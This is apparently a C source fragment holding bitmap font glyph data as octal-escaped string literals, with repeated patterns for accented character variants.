"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\10\34\34\34\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\77\37\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\370\14\6\3\1\1\1\1\3\2\16\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\6\14\10\370\10\10" "\14\4\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300@ `\300\200\0\0\0\0\0\0\0\0\0\0\0@@" "@_\361@@@@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\237\200\200\200\200\200" "\200\200\300`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\363\36\4\6\2\2\2\6\4\36\363\1\0\0\0\0\0\0\0\0\0\0\0\20\31\17\4\14\10\10\10\14" "\4\17\31\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `\340\240 \0\0\0\0\0 \240\340` \0\0\0\0\0\0\0\0\0\0\0" "\200\203\216\230\360\300\360\230\216\203\200\0\0\0\0\0\0\0\0\0\0\0\0\0\4\204\204\204\204\377\204\204" "\204\204\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\360\20\30\10\10\10\10\10\10x\0\0\0\0\0\0\0\0\0\0\0<" "fB\303\203\6\14\30\20\60`@\300\200\0\0\0\0\0\0\0\0\0\0\0\300\0\0\1\3\2\6\14" "\30\370\10\10\17\0\0\0\0\0\0\0\0\0\0\0\3\2\2\2\2\2\2\3\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0 pp \0\0 pp \0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\300@` `@\300\200\200\0\0\0\0\0\0\0\0\360\34\7\1" "\360\30\14\6\2\2\2\4\36\0\0\1\7\34\360\0\0\0\0\0\3\16\30\60aCF\314\210\210\210\314" "FB`\60\30\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0@` `\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\34\66\42\42\62\26\77 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300`\60\30\14\4\200\300`\60\30\14\4\0\0\0\0\0\0\0\0\2\7\17\30\60`\300\202\7\17" "\30\60`\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20" "\20\20\20\20\20\20\20\20\20\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@@" "@@@@@@@@@@@@@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300@` `@\300\200\0\0\0\0\0\0\0\0\370\16\3\1" "\0\2\376\2\2\2\206\314x\0\0\1\3\16\370\0\0\0\0\0\3\16\30\60`H\317\211\201\201\203\206" "\314H`\60\30\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0`````````\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300p\30\10\10\10\30p\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\3\16\30\20\20\20\30\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 " " \377 \0\0\0\0\0\0\0\0\0@@@@@@@O@@" "@@@@@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0@p\30\10\10\30\260\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\300`\70\14\6\3\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0 \60\30\10\10\30\60\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0@\300\200\2\2\207\315x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377p\300\200\200\200\200\300" "`\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\360\60\30\10\10\370\10\10\10\370\10\10\10\0\0\0\0\0\0\0\0\0\7\37" "<\60``@\377\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\0\2\3\2\2\2\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\20\27\34\10\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\20\30\10\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300@` `@\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\7\35\20\60 \60\20\35\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\14" "\30\60`\300\200\4\14\30\60`\300\200\0\0\0\0\0\0\0\0\0\0\0\200\300`\60\30\17\7\202\300" "`\60\30\17\7\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\20\20\30\370\0\0\0\0\0\0\0\0\0\0\300`\70\10\0\0\0\0\0\0\200\200\200" "\377\200\200\200\0\200\300p\30\16\303a\340\0\0\0\0\0\0\0\0\0\0\0\200\340\60\34\6\3\0\30" "\36\23\221\220\377\220\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\20\20\30\370\0\0\0\0\0\0\0\0\0\300`\60\30\0\0\0\0\0\0\0\200\200\200" "\377\200\200\0\200\300p\30\216\303a `\300\0\0\0\0\0\0\0\200\300`\70\14\7\1\0\0\300" "\340\260\230\210\214\207\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\20\30\10\10\230\360`\0\0\0\0\0\0\200\300`\60\20\0\0\0\0\0 `\300\201" "\201\303f<\200\300p\30\16\3\301`\340\0\0\0\0\0\0\0\0\0@`\60\30\14\7\1\0\0\30" "\36\23\221\220\377\220\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\10\34\34\34\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340 \60\30\16\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\14\30\60 \60\20\20\34\0\0\0\0\0" "\0\0\0\0\0\0\0 \241\343&\344\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340<\7\0\0\0\7<\340\0\0\0\0\0\0\0\0\0\0\200\200\300\370\217\203\202\2\2\2\2\2" "\202\203\217\370\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 \240\344&\343\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340<\7\0\0\0\7<\340\0\0\0\0\0\0\0\0\0\0\200\200\300\370\217\203\202\2\2\2\2\2" "\202\203\217\370\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 $&\243\341 \341\203\6\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340<\7\0\0\0\7<\340\0\0\0\0\0\0\0\0\0\0\200\200\300\370\217\203\202\2\2\2\2\2" "\202\203\217\370\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 &#\241\343\42\346\204\6\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340<\7\0\0\0\7<\340\0\0\0\0\0\0\0\0\0\0\200\200\300\370\217\203\202\2\2\2\2\2" "\202\203\217\370\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 \42''\242\340 \340\202\7\7\2\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340<\7\0\0\0\7<\340\0\0\0\0\0\0\0\0\0\0\200\200\300\370\217\203\202\2\2\2\2\2" "\202\203\217\370\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 \247\354(\354\207\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340<\7\0\0\0\7<\340\0\0\0\0\0\0\0\0\0\0\200\200\300\370\217\203\202\2\2\2\2\2" "\202\203\217\370\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 \340 \340 \340\0\0\0\0\0\0\0\0\0\0" "\0\360\37\1\0\0\377@@@\360\0\0\7\0\0\0\0\0\0\0\200\200\370\217\203\2\202\202\202\377\200" "\200\200\201\200\200\200\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300@` `@@\200\340\0\0\0\0\0\0\0\0\0\0\374\7" "\1\0\0\0\0\0\0\0\0\0\1\7\0\0\0\0\0\0\0\0\0\0\7\34\60`@\300\200\200\200\300" "@` \60\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\20\27\34\10\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 !#&$ \340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377@@@@@\370\0\0\0\7\0\0\0\0\0\0\0\0\0\0\200\200\200\377\200\200\200\200\200\201\200" "\200\200\200\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 $&#! \340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377@@@@@\370\0\0\0\7\0\0\0\0\0\0\0\0\0\0\200\200\200\377\200\200\200\200\200\201\200" "\200\200\200\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340$&#! !#&$\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377@@@@@\370\0\0\0\7\0\0\0\0\0\0\0\0\0\0\200\200\200\377\200\200\200\200\200\201\200" "\200\200\200\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \342''\42 \42''\42\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377@@@@@\370\0\0\0\7\0\0\0\0\0\0\0\0\0\0\200\200\200\377\200\200\200\200\200\201\200" "\200\200\200\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 !\343&$ \0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\377\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 $\346#! \0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\377\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 $&#!\340!#&$ \0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\377\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\42''\42 \340 \42''\42\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\377\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 `@\300\200\0\0\0\0\0\0\0\0\0\0\0@@\377" "@@@@\0\0\0\0\0\1\7\374\0\0\0\0\0\0\0\0\0\200\200\377\200\200\200\200\200\200\300@" "`\60\34\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0 \340`\306\3\1\3\2\6$&# \340 \0\0\0\0\0\0\0\0\0\377" "\0\1\7\14\70\340\200\0\0\0\0\377\0\0\0\0\0\0\0\0\0\200\200\377\200\200\200\200\0\0\3\6" "\34p\300\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300@a#&$`@\300\200\0\0\0\0\0\0\0\0\0\0\0\374\7" "\1\0\0\0\0\0\0\0\0\0\1\7\374\0\0\0\0\0\0\0\0\0\3\16\70`@\300\200\200\200\300" "@`\70\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300@` $&cA\300\200\0\0\0\0\0\0\0\0\0\0\0\374\7" "\1\0\0\0\0\0\0\0\0\0\1\7\374\0\0\0\0\0\0\0\0\0\3\16\70`@\300\200\200\200\300" "@`\70\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\304Fc! !cF\304\200\0\0\0\0\0\0\0\0\0\0\0\374\7" "\1\0\0\0\0\0\0\0\0\0\1\7\374\0\0\0\0\0\0\0\0\0\3\16\70`@\300\200\200\200\300" "@`\70\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\306Ca#\42&dF\303\200\0\0\0\0\0\0\0\0\0\0\0\374\7" "\1\0\0\0\0\0\0\0\0\0\1\7\374\0\0\0\0\0\0\0\0\0\3\16\70`@\300\200\200\200\300" "@`\70\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\2\207\307B` bG\307\202\0\0\0\0\0\0\0\0\0\0\0\374\7" "\1\0\0\0\0\0\0\0\0\0\1\7\374\0\0\0\0\0\0\0\0\0\3\16\70`@\300\200\200\200\300" "@`\70\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6" "\14\30\60`\300\200\300`\60\30\14\6\0\0\0\0\0\0\0\0\0\0\0`\60\30\14\6\3\1\3\6" "\14\30\60`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300@` `@\300\200\300`\60\0\0\0\0\0\0\0\0\370\16" "\3\0\0\0\200\340\60\30\16\3\3\16\370\0\0\0\0\0\0\0\0\0\203\316xxN\303\201\200\200\200" "\300`\70\16\3\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \1\3\6$ \340 \0\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \4\6\3! \340 \0\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 $&#\1\0\1#&$ \340 \0\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340\42''\42\0\0\0\42''\42\340 \0\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `\340\240 \0\4\6\3\1 \240\340` \0\0\0\0\0\0\0\0\0\0\0" "\0\3\16\30p\300p\30\16\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\2\2\2\2\2\2\6\4\4\14\370`\0\0\0\0\0\0\0\0\200\200\200\377\204\204\204\4\4\4\6" "\2\2\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300p\30\10\10\10\30p\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\0\0\0\20\20\70,g@\200\0\0\0\0\0\0\0\0\0\0\200\200\200\377\200\0\0p\300\200\200" "\200\300q\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0@`\60\30\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0`\60\20\60 `@`\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 pp \0\0 pp \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0c\301\201\200\200\301a\23\377\31a" "\301\201\201\201\301a!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "p\30\10\14\4\4\4\4\14\10\60\374\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200" "\300@` \60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\20\27\34\10\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\37\61aA\301\201\201\201\201\201" "\301Aa!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\37\61aA\301\201\201\201\201\201" "\301Aa!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0@`\60\30\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\37\61aA\301\201\201\201\201\201" "\301Aa!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 pp \0\0\0 pp \0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\37\61aA\301\201\201\201\201\201" "\301Aa!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300`\60\30\60`\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 pp \0\0 pp \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 